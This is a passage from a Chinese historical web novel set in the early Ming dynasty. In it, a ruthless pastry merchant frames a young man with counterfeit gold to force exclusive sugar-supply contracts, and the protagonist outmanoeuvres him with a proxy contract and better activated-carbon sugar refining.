龟奴拿着银剪子走过来,对着金元宝剪下去,金黄色的金元宝,里面露出灰白的颜色。 “假的!里面是铅!刘公子,你好大的胆子啊,竟敢花假金子!” 刘子业还没醒的酒都变成冷汗流出来了,这可是大罪啊! 明朝初年,经过战乱后,货币流通本身就比较混乱。 朝廷发行了大明宝钞后,一度禁止过百姓直接用金银交易,需要先到官府兑换成铜钱或宝钞。 可百姓对宝钞不太信任,大额交易铜钱又很麻烦,所以金银实际上依旧在流通。 朝廷对此也睁一眼闭一眼,但若是敢用假冒的金银,那就是破坏国家经济的大罪。 这罪名看金额,也看花在哪里,弹性很大,最低的无心初犯打板子,最高的可以斩首! 刘子业连连摆手:“不不不,这不是我的金子,这是白飞金的金子!” 花无言哪里跟他废话,直接让龟奴打手们把他按住,出门喊捕快拿人。 郭纲听说有人敢用假金子,先是吓了一跳。等听刘子业说完,心中就已经有数儿了。 难怪白鹿山那厮让他秉公执法呢,既然刘子业说金子来自白飞金,那自然要叫来问问的。 白飞金却矢口否认:“大人,我身上虽常备些金银,可肯定不会是假的啊。 再说了,昨日我并未给过刘子业金子,他手中的假金子是从何而来的,我从何得知?” 刘子业大惊失色:“白兄,你怎能信口雌黄?这金子分明是你给我的啊!” 白飞金冷笑道:“刘兄,这却怪了。我们虽是同窗,可我有何道理送钱给你花呢?” 刘子业气得大哭,却百口莫辩。郭纲走了个过场,直接把刘子业收监了,然后派人通知刘通。 刘通犹如五雷轰顶,他跑到县衙,听郭纲一说,顿时就明白了。 刘通哆嗦着从身上摸出三十两银子,这已经是他手头的全部现银了,还包含一部分桂花斋的定钱。 “县尊大人,刘子业愿意受罚,还望大人念他无知初犯……” 郭纲板起脸来:“收回去!本官清正廉明,你是要贿赂朝廷命官吗?找死!” 刘通只得连连磕头,郭纲叹了口气:“都是当父母之人,本官也于心不忍。 现在是口说无凭,刘子业不但花用假金子,还说不出假金子的来路。 本官就是想从轻发落,也无能为力啊。本官尽量拖一拖,你去想想办法吧。” 刘通能有什么办法,只能硬着头皮去见白鹿山。 本以为白鹿山会打打哑谜,拿捏一下自己,想不到白鹿山却是开门见山,霸气十足。 “你把跟杨家湾的独家进货契约押在我这里,再去把桂花斋的独家供货契约毁约。 然后跟我签下这张独家供货契约,我不但保你儿子无事,还让你继续赚大钱!” 刘通看了契约,大惊:“什么,每月至少供五十斤糖霜?品质比封样只能好不能差? 这……这怎么可能?现在十来天交一次货,一次也不过二三斤而已啊! 每个月要五十斤,交不上还要罚钱,这不是要我的命吗?” 白鹿山笑道:“这只是为了防一手,我当然知道你们一个月做不出五十斤来。 糖霜是那么好做的吗?我是担心杨成那小子奸诈,会用些手段偷偷卖给别人。 你放心,只要他不卖给别人,不足五十斤也无妨。我罚死你又有何用? 可他若敢耍花样,偷偷把糖霜卖给别人,那就别怪我翻脸了!” 刘通连连作揖:“你这只能罚我,又不能罚杨成。 我和他的契约可没限定产量,他若不管我死活怎么办?” 白鹿山冷笑道:“和你签约的人是杨草,那小子我见过,他比杨成好骗。 你可以想办法骗他补签个契约,把他拴在你这根绳上,同生共死。 杨成能成事儿,还要仰仗杨家宗族,他会对你见死不救,却不敢对杨草见死不救。” 刘通沉默许久,闷声道:“白东家,可事已至此,你有何等办法能圆了此事,救出犬子呢?” 刘通实在想不出来,因为儿子使用了假金子,不但醉花楼人人皆知,堂审时也并未可以保密。 一切都是按照公开公正审理的,堪称明镜高悬,秉公执法。 此时再想把这事儿捂下去,谈何容易?难道是白鹿山在骗自己? 白鹿山笑道:“此事简单,那日去叫我儿子的伙计,在京福斋柜上做事。 他那日急忙去叫我儿子,就是因为柜上发现收了假金子。 我不在家,他情急之下去找了我儿子。身上还带了一块假金子想给我儿子看。 结果他跑得太急,不慎将假金子丢失了。却被令郎捡到,到醉花楼春风一度……” 第十八章 恶毒契约 刘通目瞪口呆。这番说辞当真可说是心思缜密,让人不得不服。 按这个说法,刘子业拾金而昧,属于品德问题。最多挨板子,可假金并无价值,那就连板子也不用挨。 至于用假金子结账,那时他自己认假当真,属于无知之举。无知初犯,最多打几板子。 本来用假金银最难洗白的一环,就是犯人无法证明自己不知道这是假金子。 因为假金子的来源要么是自己造的,要么是从别人处买的,你如何会不知道是假的呢? 你若说是自己捡的,官老爷必然是大刑伺候:哪来那么巧的事儿,别人刚好丢了假金子给你捡? 可白鹿山这番说辞,将此事彻底圆过去了。虽然深究起来未必天衣无缝,但肯定是合情合理的。 想想郭纲那副嘴脸,只要京福斋的伙计上堂作证,他必然是不会深究的。 刘通站起身来,失魂落魄地离开了白鹿山的宅子。 牛师爷从后堂走出来,坐下笑着斟了一杯酒。 “你把这法子交给他,难道就不怕他甩开你,找别人演戏吗?” 白鹿山哈哈一笑,把过来斟酒的干女儿推进牛师爷怀里。 “这出戏别人都演不下去,只有我才能演,他早晚能想通这个道理!” 牛师爷搂着女子,上下其手:“既然可以拿捏他,为何还要给他四千五百文的高价呢。 直接给他三千文,让他从中间白跑腿儿,他敢不答应吗?” 白鹿山喝了杯酒:“断人财路,如杀人父母,我要对付的是桂花斋,又不是刘通。 兔子急了还咬人呢,真逼的刘通没了活路,反而会生变,为了省这点钱,不划算。 而且这样做还有一个重大隐患,师爷聪明一世,怎么会糊涂了呢?” 牛师爷一愣,上一刻他的脑子都在手上,也懒得多想,此时一想就明白了。 “不错,刘通和杨成采购的价格是两千八百文,你若只给他三千文,他不逃税都是亏的。 这契约一看就有问题,他若告状说是被逼签的,要求作废,反而麻烦。” 白鹿山点头微笑:“不错,对付大人物一定不能留活路,对付小人物却一定要留条活路才行。” 小人物刘通并没有直接去桂花斋,而是雇了辆骡车直奔杨家湾。 路上他不停要求车把式飙车,并不断地提升打赏,要求加速再加速。 在金钱的刺激下,骡车把所有马车都甩在了身后,让众马惭愧之余,也十分感慨。 “果然生育能力只会拖慢牛马的脚步啊!看看人家骡子……” 同样为生育能力所累的刘通,一进门二话不说,直接跪倒在地,痛哭失声。 作坊前的小黑已经对不速之客做好了攻击的准备,被这一下反而弄得很无措。 虽说自己凶名在外,可威慑力也不至于这么大吧。一上来就跪了,我咬还是不咬…… 杨成从作坊里走出来,一看这景象,心里已经猜到几分。 他也不急着问,只是让杨草把刘通扶进屋里,倒了杯茶,等他说话。 刘通竹筒倒豆子,边哭边把事情说了一遍,连白鹿山让他欺骗杨草的建议都说了。 说完之后期待的看着杨成,提出自己的想法。 “要不咱们也找个人演戏?你这边出人,或者我让桂花斋那边出人。 反正就说是别人丢的,我儿子捡了,我为何一定要受白鹿山的挟制呢?” 杨成在心中盘算一下,摇摇头:“这一局是白鹿山赢了,你的想法不可行。” 见刘通不解,杨成解释道:“这场戏中,整个链条上,最薄弱的环节有两个。 第一是要有能力收到假金子,这句需要大宗的生意才可行,我这边是不行的。 桂花斋当然有可能收到,但桂花斋如今的生意今非昔比,用金子付账的豪客极少。 因此如果知县深究,桂花斋说不记得这金子是谁付的,就有些说不过去。 三方中,只有京福斋,如今生意兴隆,收到假金子,且记不住是谁家的,才说得过去。 第二是丢金子捡金子之事,本就十分巧合。不论是我还是桂花斋,都是口说无凭。 但白飞金和你儿子出现在醉花楼门口,京福斋的伙计也到此处找人,这就十分合理了。 他三人同时在场,有很多人可以作证。若无这一节,知县想糊涂结案也是很为难的。” 刘通这才明白,为何白鹿山有恃无恐,敢先将破局之法告知自己。 原来这张葱花饼,只有他亲手做才是那个味道,想换个人开连锁是一点戏都没有的。 杨成叹息道:“除去这些,还有知县郭纲这个要素呢。他和白鹿山是一伙的。 万一我们下场演戏,他一定会趁机穷追。因为说不出假金子的出处,他就可以动刑审问,合理合法。 到那时不但救不出你儿子,还会把我和桂花斋都搭进去。我猜,这才是白鹿山真正的目的。” 刘通吓出了一身冷汗,他只想到白鹿山有恃无恐的第一层,却没想到这一网打尽的第二层。 看着杨成那刚脱去稚气,棱角渐渐分明的脸,刘通心里不禁暗叹。 果然狼再小也是吃肉的,狗再老也是吃屎的,杨老虎的孙子,确实非自己这等凡人可比。 “那怎么办?难道我只能按白鹿山所说,签了这要命的契约,把糖霜卖给他?” 杨成点点头:“要不还能怎么办?难道眼看着你儿子被弄死在牢里? 而且你还得快一点,否则你儿子也算细皮嫩肉的,在牢里没准会捡了肥皂。” 冷知识,明朝时已经有肥皂了,只是原料不同,而且算奢侈品,小门小户用不起。 刘通不懂捡肥皂是啥意思,总归知道不是啥好事儿,他的脸色灰敗,心如刀割。 “白鹿山还要我跟杨草重签进货的契约呢,可如果真签了那个,可就连你也被他拿捏了呀。” 杨成摆摆手:“你能把所有事儿公开跟我说,就是把我当朋友,我不会让朋友走投无路的。 杨草,过来,和刘通重新签一份契约。别的事不提,先把你儿子救出来再说吧。 速战速决,今晚就要求升堂放人。到时我会找人去帮你的。” 第十九章 毁约签约 刘通感激涕零地离开杨家湾,直奔桂花斋。 王德福可没有杨成那么淡定,他一听刘通说要毁约,圆润的身子像球儿一样从椅子里弹了起来。 比起高大有型的白鹿山,王德福的球形身材一方面是因为他矮,另一方面是因为他努力。 桂花斋是他从父祖手中接过来的家族生意,从小就刻苦钻研糕点技术,品质上亲自把关。 糕点都是细粮,精油重糖,结果就是从小胖到大,现在的身材应该算是工伤。 自己付出巨大心血的桂花斋,这几年被白鹿山用阴狠手段断了宫廷供奉,压得喘不过气来,王德福痛心疾首。 他为了打破京福斋的糖霜垄断,想了很多办法,可那些大糖商都已经倒向了白鹿山。 如果说糖商们一开始还是迫于白鹿山的阴狠玩命,现在则已经形成了紧密的利益捆绑。 糖霜虽贵,毕竟量小,并非糖商们的主要利益。他们主要的利益还是海量的红糖、白糖。 尤其是销往海外的糖,比大明本土的利润还要高。朝廷一直在禁海,可宽松度不同。 有靠山的,就能把糖运出去。没靠山的,片板不得下海。 白鹿山虽是糕点业起家,但他的靠山在京城。而这个靠山,可不仅仅是白鹿山的靠山。 据说全国各地,凡是挣钱的行业,背后都有这个靠山的影子。 这个靠山很神秘,甚至没人知道他的名字。人们能见到一点鳞爪的,都是这个靠山旗下办事儿的人。 王德福很清楚,那些大糖商并不是软骨头,几条人命还不足以吓住他们。 但当他们出海的船一次次地被查,他们就明白了,白鹿山的靠山动手了。 慎重考虑、试探后,他们和白鹿山停战了,并投靠了这个靠山。 就像一个经纪公司名下的艺人一样,即使再不对付,那也是利益共同体。 从那时起,王德福心灰意冷,知道桂花斋再无机会翻身,从此落入二流儿,不孝子孙是当定了。 所以可以想象,当刘通像怀孕一样夹着糖霜来找他时,他是多么的兴奋和激动。 他捧着那盒儿糖霜,比捧着自己刚出生的独苗儿子都激动,真想磕一个。 他用那点糖霜,亲自动手做了一批糕点,送给自己的那些老靠山,和本地的富豪权贵。 效果极好,老靠山重燃希望,告诉他先扭转民间口碑,自己再找机会帮他送进宫中。 而富豪权贵们见了如此极品糖霜,也纷纷派人来采购,他一一记录,告诉大家很快就有货。 富豪权贵们虽然不太满意,但顶级奢侈品就是如此,商家搞点饥渴营销他们也能接受。 只有王德福明白,自己不是饥渴营销,自己比他们还饥渴呢! 他只盼着刘通能一次比一次给得多,能缓解自己的饥渴。 结果就在他盼望的眼睛发红的时候,这厮竟然直接把衣服穿上,说以后再也不给了! 王德福一向和善的眼睛此时也红了,他一把揪住了刘通的衣襟儿,牙咬得咯噔咯噔响。 “你说什么?你他妈的有种再说一遍!” 尽管刘通已经做好了任打任骂的准备,但还是被王德福的绝望吓得不轻。 他连连告罪,并复制在杨家湾的成功模式,用下跪大法先为自己争取了道德主动权。 “王东家,我就这一个儿子啊!他要是被白鹿山黑了,我就绝后了呀!” 王德福也渐渐缓过神来,他毕竟不是白鹿山那样的狠人,不算多好,但也不算多坏。 想想自己眼下也就一个儿子,这份心情也能共情,他缓缓松开刘通的衣领,颓然坐倒。 “天要亡我啊!天要亡我啊!这世道,好人就该被人拿刀指着吗?” 话虽如此,最后王德福还是哆嗦着手拿出钥匙,打开一个铁箱子,从里面拿出一个小箱子。 再打开小箱子,拿出一个更小的……契约,手攥着不愿意交出来。 刘通用力扯过去,转身就跑。天已经快黑了,就在刚才王德福弯腰开柜子时,刘通忽然想明白了捡肥皂的含义。 呆了半晌后,王德福深吸一口气:“备车,我要去杨家湾!” 白鹿山看着手中的四张契约,露出满意的微笑。 这四张契约是两份,一份儿是刘通和桂花斋的独家供货契约,另一份儿是杨草和刘通的独家供货契约。 杨草这份是重签的,果然约定了每月不少于五十斤糖霜,和白鹿山准备的契约一样。 两份契约合在一起,就像两只大手,死死地把桂花斋和杨成都攥在手心里。 白鹿山忍不住赞赏道:“难怪杨成会找你合作,想不到你还真有几分手段。 这短短时间,就把杨草骗到了你的船上。好,既如此,以后我还可以重用你。” 说着拿出拟好的京福斋独家供货契约,让刘通按手印。 刘通脸色铁青:“先上堂!把我儿子放出来!” 白鹿山笑了笑,此时他已经占尽上风,不能把兔子逼急了。 本来天快黑时升堂,是不会有太多人看热闹的,但这次人却出奇的多。 其中有很多都是上次升堂时帮杨成作证的人,还增加了十多个杨家湾的人。 他们站在堂下,形成了一种无声的压力。今天的结果就是公开判决,不能反复。 刘通知道,这些人一定是杨家湾请来的,都是看得杨成的面子,他涕泪横流,感动之极。 面对白鹿山伙计和白飞金的证词,郭纲公正严明地质疑了一番,结果自然是合情合理的。 知县放人之前,身体不适,回后堂休息了一会儿。 趁此机会,白鹿山把契约放在刘通面前。刘通长叹一声,从了。 “如果杨成发狠,宁可从此不做糖霜了,也不让我卖给你,你可别怨我。” 白鹿山微微一笑:“放心,你们卖不卖糖霜给我不重要。只是不能卖给别人。 我不缺你那点糖霜,你们不能卖给桂花斋了,这对我很重要。” 刘子业在牢里看来没受什么罪,回家路上还跟刘通吹嘘。 “虽然白飞金那混账陷害我,但毕竟我和郭永关系很好,自然是有照应的。” 刘通憋着一口气不说话,等回到家,关上门,才拿起了秤。 把秤砣和秤盘卸下来,然后抡起秤杆,满屋追杀刘子业。 “你个小畜生!那郭纲和白鹿山是穿一条腿裤子的,你还指望郭永帮你? 要不是我豁出老脸,跪求杨成和桂花斋,你今晚就得捡……” 刘通娘子边护着儿子边大喊大叫:“你疯了不成,打坏我儿子,我饶不了你!” 刘通怒吼道:“都是你宠的!你给我滚开,你敢拦着,我连你一起打! 打完之后我就休了你!反正这小畜生也不在我名下了,老子一个人过干净日子!” 刘通娘子从未见过刘通如此怒发如狂,气势顿时被压倒了,赶紧跑去厢房找秀儿。 “姑娘啊,你舅舅一向最疼你,你去劝劝吧,他真要打死你哥哥了啊!” 秀儿正捧着一把团扇掉眼泪。刘通并未瞒着她,还指望万一杨成不答应,再试一次美人计呢。 她知道,这次杨成给了刘通天大的面子,但也不可能再有什么合作了。 以后她想见杨成一次也难了。她也不知道自己是怎么了,一想到这里就想哭。 泪水打湿了团扇,反而让白绢上刺绣的诗句更加鲜亮。 “人生若只如初见。” 第二十章 涨价 就在刘通家鸡飞狗跳之际,王德福已经赶到了杨家湾。 王德福是正经商人,但不是傻瓜。想调查出刘通的货源本就不难,只是比白鹿山晚几天的事儿。 他一直没来见杨成的原因,就是不想让刘通疑心,也猜不透杨成的想法。 还是那句话,维持现状对自己就很有利了,就没必要冒险破坏现状。 可现在不行了,生死存亡之际。何况刘通毁约在先,怨不得他抄后路在后。 杨成见王德福到来,似乎一点也不意外,桌上的茶甚至是新沏好的。 乡下人喝茶,大多是枣叶、黄芹一类的野茶,但杨成沏的却是真正的茶叶。 王德福见杨成如此镇定,慌乱的心神也跟着平复许多,甚至还有心思品了一口茶。 这就是生意人刻在骨子里的习惯,哪怕是等着货救命,也得沉住气,淡定。 “好茶啊,想不到乡野之间,还有杨兄弟这样的雅士,果然是大隐于野。” 杨成笑了笑:“谈不上,这是陈茶,当初乡绅百姓送给我爷爷的。 存放这么多年,口感早已苦涩,我娘喜欢养鸡,没准茶里还染了些鸡屎味儿。” 王德福默然,他上来就奉承杨成,是想按商场俗套,先试探杨成的深浅。 年轻人怕捧,老年人怕唬。只要把杨成架上去,后面的事儿就好谈的多。 结果杨成这一番话,就是告诉他,别玩虚的,我不吃那一套,有啥说啥。 但其中也有暗示:我喝的茶虽然陈,却是众人之心。这不是普通的乡野人家,扛得住事儿! “杨兄弟,明人不说暗话。刘通毁了跟桂花斋的契约,和京福斋签了契约,此事你该知道。” 杨成点点头:“他能这么快就办成这件事,说明王东家没有为难他,我很佩服。” 王德福惨笑摇头:“做人要有底线。何况我就是不给他契约,他儿子被人捏在手心里,他也不敢给我供货。 既然于事无补,与其枉做恶人,还不如先救他的急,接下来再想其他办法。” 杨成品着茶,茶叶最吸味儿,这时候也没有冰箱,似乎确实有点鸡屎味儿。 “王东家来找我,看来是想出其他办法了?” 王德福身子前倾,盯着杨成,咬牙道:“杨兄弟,你把糖霜直接供给我,我给你五千文一斤。” 杨成叹息摇头:“我这儿是刘通的独家供应商,刘通又和白鹿山签了独家供应商。 我可以赌气不卖糖霜了,但若要卖,就只能卖给刘通。而刘通要卖,也只能卖给白鹿山。 不管是我还是刘通,只要把糖霜卖给别人,白鹿山手握着两份契约,都可以告上公堂的。 更何况白鹿山的契约里,一个月要五十斤糖霜。我这作坊白鹿山也见过。 他自然知道,这样规模的作坊,就是最好的手艺,一个月能出十斤也顶天了。 他就是怕我有别的手段,才会重重设防。你说,我该怎么办?” 王德福沉默许久,猛然抬头:“杨兄弟,没见你之前,我也是想着鱼死网破。 咱们把事儿做得秘密些,大不了我再给你兜个底,万一被告,我补偿你损失。 可见你之后,我却觉得,你不是那种轻易被人掌控之人,今日之事,只怕你早有准备吧。” 杨成苦笑道:“王东家又来了,捧我是吧?我这人不好虚名,喜欢听实际的。” 王德福一拍桌子:“每斤我出六千文!即使是我卖给别人,也超不过这个价了。 我不蒸馒头争口气!宁可赔本儿,我也要跟白鹿山死磕一次!” 杨成淡淡说道:“你也不用这么咬牙切齿的,我打赌,我现在报七千文你也会要。 我的糖霜比市面上的都好。顶级糕点的量毕竟不大,赔本也赔不了多少,但可以帮你争回行业地位。 而且你做成顶级糕点的溢价,和直接转卖糖霜根本就不是一个概念,最多是少挣。” 王德福脸上一红,再次一拍桌子,正要再加价,杨成摆了摆手。 “就六千文吧,我不愿趁人之危。何况如果我不想刘通死,还得继续卖糖霜给他。 白鹿山用四千文拿到糖霜,你用六千文就能拿到,其实是占了便宜的。” 王德福苦笑,却不敢说什么,杨成给他倒了杯茶,淡然道。 “你心里一定在骂我,得了便宜还卖乖,简直是混账至极,对吧?” 王德福被说穿了心事,吓了一跳,连连摆手:“没有没有,绝对没有。” 杨成平静地说:“我从不会让对手占便宜,也不会让朋友吃亏,你以后就会明白的。” 王德福眼睛一亮,忽然道:“莫非你打算给白鹿山的货黄一点,让他无法拿了也无法用?” 杨成摇头:“白鹿山是老狐狸,他能想不到这一点吗?他和刘通的契约里是有封样的。 如果我给他的糖霜和现在的不一样,他不但可以告刘通,还可以告我。” 王德福实在想不明白,看杨成胸有成竹,干脆也就不想了,只是催着杨成签合约。 杨成喊了一声,杨牛颠颠地跑了进来:“哥,啥事儿?” 杨成笑道:“你想读书科举吗?” 杨牛嘿嘿笑:“别逗了,李正三年都没教会我一个字儿!” 杨成指了指契约:“按手印,桂花斋以后从你这里买糖霜。” 杨牛毫不犹豫,直接把手指头按在了契约上。王德福愣了一下,恍然大悟。 “之前跟刘通签的契约是杨草的名字,这个是杨牛的名字。 所以杨草不能卖糖霜给我,杨牛却可以!如此白鹿山就抓不住把柄,高!” 杨成淡然道:“这招虽不错,但若不是我身边有兄弟甘愿替我顶商人之名,常人却也难为。 不过这一手儿想来白鹿山也猜到了,只是他无法干涉,所以才加了五十斤糖霜的条件。” 王德福愣了一下,黯然道:“不错,虽然签约人可以李代桃僵,这产量却是实打实的。 一个月五十斤糖霜啊,别说你这样的作坊,就是红糖产地,也得凑十几家大作坊才能弄出来。” 杨成伸了个懒腰:“这就是我的事儿了,王东家先留下定金,再备足红糖给我,准备提货就行了。” 送走满腹狐疑的王德福,杨成到祠堂前敲响了鼓。 第二十一章 支持 虽然天色已晚,但村里人听见鼓声,仍然很快就聚齐了,这就是宗族之力。 杨成此时脸色轻松,完全没有了面对刘通和王德福时的凝重。 “各位叔伯兄弟,小子成丁之日曾说过,要兼祧七家香火,所以要赚钱。 大家给我凑过红包,帮我盖过作坊,小子铭感于心,时刻不敢稍忘。 无论盛世还是乱世,我杨氏宗族上不负天地,下无愧良心,友爱互助,患难与共……” 众人越听心里越是打鼓,远远地呆在最外围的杨二蛋大喊一声。 “少废话,你是不是又要跟大家借钱了?我听说那刘通儿子入狱了,你的糖霜生意也完蛋了吧。” 杨成点点头:“确实如此,我现在需要借钱。愿意借钱给我的请留下,不愿意的,就请回家。 借是人情,不借是本分,小子心里绝无怨言。” 说完,毫不脸红地抬头看着大家,就好像大家借给他钱是天经地义的一样。 人群中一片叹气声和议论声,老族长的脸色也很不好看。 “唉,那杨二蛋当初说得没错啊,乳臭未干,能做成什么生意啊。” “这还不如当初呢,当初不过让他家讹几只鸡罢了,如今却要出钱了。” “那能咋整,没多有少呗。也不知道这小子窟窿有多大。” “所以说,不怕富二代吃喝玩乐,就怕富二代奋发创业啊……” 人们虽然都垂头丧气,但却没有人离开,甚至连杂姓的都留下了,虽然满脸怨气。 只有杨二蛋毫不犹豫地跑了,临跑之前还特意凑到李正一家面前。 “李叔……” “叫我先生!” “李先生,你又不姓杨,跟着凑什么热闹啊,赶紧带着香儿妹子回家吧。 这小子就是个败家子儿!你不知道,他得罪了白鹿山啊!白鹿山是什么人? 海盐首富!宫廷供奉!黑白两道,道道平趟! 连孙二爷都听使唤。他跟人家斗,那不是找死吗? 当初我劝他让我入伙儿,凭我的面子,白鹿山那边还好商量,可这小子狗咬吕洞宾……” 李正沉下脸:“你不借钱没人怨你,可你也不该落井下石!你给我滚!” 杨二蛋十分震惊,委屈地看向李香儿。 “香儿妹妹,我这可都是为了你家好啊!你忘了那小子还偷看过你洗澡呢……” 李香儿腾的红了脸:“闭嘴!他才没看见呢!他就算不好,也坏不过你去!滚蛋!” 杨二蛋悲愤地离开了,嘟囔着“没天理,凭什么,拼爹……” 老族长咳嗽一声:“要走的早走了,你说吧,大伙要凑多少钱。” 杨成看着广场上一圈或怨或怒或习惯性淡然的脸,心里涌上一股暖流。 虽然他知道,这是因为他身份特殊,换一个人估计至少走了一多半儿了。 但他仍然被这些人的宗族亲情深深打动。 他前世看书,看过很多封建时代的宗族管理阴暗面,例如浸猪笼,吃绝户等等。 可至少在杨家湾,他见到了很多光明的,温暖的东西。 也许因为他是特殊的,杨家湾也是特殊的。 可他为何不能把杨家湾发扬光大,让刘家湾、白家村都变得和杨家湾一样,去恶存善? 杨成脸上带着几分符合年龄的顽皮:“各位叔伯兄弟,小子谢罪了,适才相戏耳! 实在是有个好活儿想让大家干,又担心厚此薄彼,所以想看看谁对我更好。 我以小人之心,度君子之腹,要是我爷爷我爹活着,一定干不出这事儿来,小子该打!” 杨成说着就往自己脸上扇了两耳光,十分有技巧,力气不大,声音不小。 大家本来听说被耍,正要发怒,待听他提到爷爷和爹,火气已经小了一半儿。 两个脆响的耳光之后,大家就心平气和了,开始好奇究竟是什么好活儿让他这么藏着掖着的。 “杨草和杨牛,分别和京福斋、桂花斋都签了独家供货合同,利润很好! 现在就是产能不够了,不能再小打小闹儿了,我需要建起两个大作坊! 这次不让大家白干,我给工钱,按照城里盖房的工钱翻倍!” 众人面面相觑,都有些不敢相信。从借钱到发钱,这弯拐得太硬了,闪了大家的腰。 见大家都不出声,老族长挺身而出。 “不就是干活儿吗?别说给钱,就是最后不给钱又如何?算老头我一个!” 老族长的儿子们赶紧表态:“没错没错,不就是出点汗吗,庄户人还怕出汗吗?” 有了带头人,人们又开始议论纷纷,不过情绪比之前好多了。 “我就说虎父无犬子,虎爷无犬孙,杨成果然不同凡响!” “你刚才不是说他乳臭未干,做不成生意嘛?” “但话又说回来了,自古英雄出少年啊,大明终究是年轻人的天下了……” 听说是出力流汗的事儿,李正顿时失去了兴趣,他正了正没有功名的儒生帽,转身离去。 李香儿站在原地,看着站在众人中央的杨成,看了好一会儿,才撇撇嘴,走了。 第二天,在村子后面的一片空地上,人们热火朝天地干了起来。 按双倍的工钱,王德福留下的定金,加上前段时间赚到的钱,杨成毫不吝惜地往外发。 村民们只觉得浑身都是劲儿,不光是为了挣钱,更觉得祠堂里的列祖列宗都在看着自己。 杨成不但给钱,还供饭。白寡妇把家里剩下的鸡全杀了,鸡蛋更是大盘大盘地炒。 儿子究竟在干什么,白寡妇并不太清楚。她只知道,儿子要干什么,她就要全力支持。 就像当年她刚嫁过来时,丈夫、小叔子们跟着公公们干什么一样,她也不清楚。 但她会在他们半夜听见号角声跳起来时,用最快的速度把提前烙好的饼塞进他们的口袋里。 也会在他们浑身是血的回来时,打来清水,一个个地帮他们上药,包扎。 一次又一次,回来的人里夹着一口棺材,她就会默默地看向活着的人,分辨离开的是老几。 最后一次,只有年迈的公公,扶着一口棺材回来,告诉她,吴王赢了,以后不会再有乱兵了。 她挺着肚子,埋葬了丈夫,照顾一病不起的公公,直到公公去世。 现在,她继续支持着这个家的男人。全心全意,毫无保留,毫无怨言。 第二十二章 糖霜2.0 全村的男人中,只有铁匠没有参与盖房,因为他的任务更重。 虽然从该小作坊时,杨成就把图纸交给他了,但那东西实在太难打了。 杨铁匠没日没夜地研究,一点点的试打,无数次的回炉重造,终于赶在两个大作坊盖好前打成了。 这是一套很精密的大铁壶,上面有一根铁管,连接到一个大铁箱子上。 缝隙之处,用黄铜做密封圈儿,挤扁后密封效果堪比后世的橡胶密封圈,却更抗高温。 用黄泥当然也可以封堵这些缝隙,但黄泥中的杂质会混入通过铁管的水蒸气,让最终的活性炭质量变差。 这套设备,比起之前小作坊里凑合用的密封烧炭炉,要正规很多,烧成的活性炭质量也能提高好几个等级。 而旁边配套的火炉和熬糖用的铁锅、瓦漏,也都比小作坊里要更大更专业。 当作坊收尾时,桂花斋的马车也拉着红糖赶到了,王德福带着几个壮实的伙计亲自押车。 两个大作坊,一号防守严密,铁链大锁加小黑,一副军事重地闲人免进的架势。 二号则相对宽松,杨草杨牛加上族长的两个儿子,是杨成目前的核心员工。 王德福获准进入二号参观。大锅里糖浆翻滚,趁热倒入巨大的瓦漏里。 然后掺杂着活性炭的黑水被注入瓦漏,就像魔术一样,黑红色的糖浆下层迅速凝结了一层洁白的糖霜。 王德福大吃一惊:“原来竟是如此?你用的竟然不是黄泥?而是炭?可炭的效果怎么会这么好呢?” 活性炭,就是杨成目前的核心技术机密,这是个跨越时代的东西。 他在前世混迹社会之前,也曾是个好学生。成大哥之前,也曾干过很多行业。 活性炭的制备从原理上并不难,但能制好,从选材,到过程控制,并不容易。 他也烧坏了好几炉,才逐渐做出好用的活性炭。而现在,他做出了更好的。 看着洁白的糖霜,王德福心在滴血:“老弟啊,这糖霜比起市面上现有的都好,可惜便宜了白鹿山。 若是像之前那样,只有我能用上这种糖霜,我一定能把桂花斋失去的都拿回来!” 杨成笑道:“是吗?那你看看这个。” 另一口大锅,同样的糖浆,同样瓦漏,但灌下去的活性炭颜色明显不同,更黑,颗粒感更强,带着金属的光泽。 活性炭除了烧制方法,原材料更重要。竹子的优势是量大管饱,成本低廉,但却并不是最优质的原料。 有人认为椰子壳最好,也有人认为桃核、杏核最好。杨成暂时弄不到椰子壳,便用桃核代替了。 糖霜在漏斗下凝结,只看一眼,王德福就浑身发抖。 如果说,杨成之前做的糖霜已经比市面上的高出三四层楼,那现在这种,已经完全不是一种东西了。 犹如头场雪,不让瓦上霜,大姑娘的腿,大白菜的帮。 杨成用木勺舀起一点,递给王德福。王德福像朝圣一样,两手捧着木勺,表情似哭似笑。 如果是别人,可能不会有这么大的反应。可王德福浸淫糕点几十年,太明白这代表着什么了。 “王东家,这才配叫糖霜。之前给你们供的东西,最多算是好点的白糖。” 王德福捧着糖霜,半天才回过神来:“既然你有更好的,为何不一开始就拿出来呢?” 杨成看着王德福:“如果一开始拿出来,现在的局面怎么破?” 王德福一愣:“你早就想到会有今天了?对,对对,否则你干嘛不让杨草直接去找我? 你用刘通过这一手,并不是因为不想当商人,而是用他当诱饵,把潜在的威胁都钓出来吧。” 杨成淡淡道:“商道江湖很深,下水前总得试试深浅。我不会让自己兄弟下水,总得找根杆子。” 王德福叹息道:“不过这次我找到你,你完全可以抛下刘通不管的。 杨草只要不再出面卖货,他和刘通的独家契约就是废纸一张。可你还是跟刘通重新签了契约。” 杨成点点头:“从他来找我坦白一切开始,他就不再是杆子了,而是我朋友。” 王德福赶紧道:“我也是可以谈,我也可以是朋友。 你为了刘通,甘愿把一个月五十斤糖霜的绳索套在自己脖子上,我王德福也要交这样的朋友!” 杨成看着那口热气腾腾的大锅,微微一笑,拍了拍王德福的肩膀。 “绳索确实是绳索,不过这绳索同时套在我和白鹿山的脖子上,谁先被勒死还不好说呢。” 王德福不解其意,不过他也不在乎。他拿着杨成给他的极品糖霜2.0,欢天喜地地走了。 临走时杨成提醒他:“可能过不了多久,白鹿山就会想办法断了我的红糖。 你要想办法多囤红糖,实在不行囤点白糖也行,用白糖提炼糖霜虽然成本高,但损耗少。” 王德福拍着胸脯道:“你尽管放心。红糖、白糖不是糖霜,市场渠道众多,根本垄断不了。 白鹿山死了那么多人,又搬出靠山,糖商们才同意让他当糖霜的总商。 可红糖、白糖的总商,就是让他当他也当不起,量太大了!谁也买断不了!” 刘子业被刘通赶回了刘家湾,到他名义上的爹,实际上的大伯家养伤。 刘通这次下了狠手,连秤杆都打断了。那年头一根硬木白铜簪星的秤杆儿可不便宜。 所以刘通娘子嚎啕大哭,一时间也分不清是因为心疼儿子还是心疼秤杆儿了。 原本刘通娘子还想把儿子留在家里,但已经找回了男人尊严的刘通直接否决了。 “他只有回到乡下去才能收收心。而且,他在城里也危险。 你以为白鹿山一招只会用一次?只要这招还好使,他会不停地用。 